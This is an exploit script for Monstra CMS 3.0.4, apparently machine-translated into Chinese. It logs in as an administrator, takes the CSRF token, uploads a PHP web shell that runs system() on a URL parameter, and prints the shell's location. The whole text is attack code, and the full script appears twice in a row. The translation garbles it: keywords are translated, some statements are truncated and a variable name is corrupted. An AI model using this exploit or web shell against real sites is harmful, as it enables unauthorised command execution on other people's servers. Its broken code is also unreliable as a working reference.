#利用标题: MONSTRA CMS 3.0.4-远程代码执行(RCE)
#date: 05.05.2024
#利用作者: ahmetümitBayram
#供应商homepage: https://monstra.org/
#软件link: https://monstra.org/monstra-3.0.4.4.zip
#版本: 3.0.4
#在: MacOS上测试
导入请求
导入随机
导入字符串
进口时间
导入
导入系统
如果Len(sys.argv)4:
打印('USAGE: PYTHON3 script.py URL用户名密码')
sys.exit(1)
base_url=sys.argv [1]
用户名=sys.argv [2]
密码=sys.argv [3]
session=requests.session()
login_url=f'{base_url}/admin/index.php?id=dashboard'
login_data={
'login':用户名,
'password':密码,
'login_submit':'log+in'
}
filename=''.join(random.choices(string.ascii_lowercase + string.digits,k=
5))
打印('登录.')
响应=session.post(login_url,data=login_data)
如果响应中的“仪表板”。Text:
打印(“登录成功”)
其他:
打印(“登录失败”)
出口()
时间。
edit_url=f'{base_url}/admin/index.php?id=themesaction=add_chunk'
响应=session.get(edit_url)#csrf代币bulmakiçin编辑说fasına
Erişim
token_search=re.search(r'input type='隐藏'id='csrf'名称='csrf'value='
(。*?)'',响应.text)
如果token_search:
token=token_search.group(1)
其他:
打印(找不到CSRF令牌。')
出口()
内容='''
html
身体
form method='get'name='?php echo basename($ _ server ['php_self']);
输入类型='text'名称='cmd'autocus id='cmd'size='80'
输入类型='submit'value='execute'
/形式
pre
php
if(isset($ _ get ['cmd']))
{
系统($ _ get ['cmd']);
}
?
/pre
/身体
/html
'''
edit_data={
'CSRF':令牌,
'name':文件名,
'content':内容,
'add_file':'保存'
}
打印(“准备壳.”)
响应=session.post(edit_url,data=edit_data)
时间。
if antsphy.status_code==200:
print(f'your shell已准备就绪: {base_url}/public/themes/default/{fileName}
.chunk.php')
其他:
打印(“无法准备外壳。”)
#date: 05.05.2024
#利用作者: ahmetümitBayram
#供应商homepage: https://monstra.org/
#软件link: https://monstra.org/monstra-3.0.4.4.zip
#版本: 3.0.4
#在: MacOS上测试
导入请求
导入随机
导入字符串
进口时间
导入
导入系统
如果Len(sys.argv)4:
打印('USAGE: PYTHON3 script.py URL用户名密码')
sys.exit(1)
base_url=sys.argv [1]
用户名=sys.argv [2]
密码=sys.argv [3]
session=requests.session()
login_url=f'{base_url}/admin/index.php?id=dashboard'
login_data={
'login':用户名,
'password':密码,
'login_submit':'log+in'
}
filename=''.join(random.choices(string.ascii_lowercase + string.digits,k=
5))
打印('登录.')
响应=session.post(login_url,data=login_data)
如果响应中的“仪表板”。Text:
打印(“登录成功”)
其他:
打印(“登录失败”)
出口()
时间。
edit_url=f'{base_url}/admin/index.php?id=themesaction=add_chunk'
响应=session.get(edit_url)#csrf代币bulmakiçin编辑说fasına
Erişim
token_search=re.search(r'input type='隐藏'id='csrf'名称='csrf'value='
(。*?)'',响应.text)
如果token_search:
token=token_search.group(1)
其他:
打印(找不到CSRF令牌。')
出口()
内容='''
html
身体
form method='get'name='?php echo basename($ _ server ['php_self']);
输入类型='text'名称='cmd'autocus id='cmd'size='80'
输入类型='submit'value='execute'
/形式
pre
php
if(isset($ _ get ['cmd']))
{
系统($ _ get ['cmd']);
}
?
/pre
/身体
/html
'''
edit_data={
'CSRF':令牌,
'name':文件名,
'content':内容,
'add_file':'保存'
}
打印(“准备壳.”)
响应=session.post(edit_url,data=edit_data)
时间。
if antsphy.status_code==200:
print(f'your shell已准备就绪: {base_url}/public/themes/default/{fileName}
.chunk.php')
其他:
打印(“无法准备外壳。”)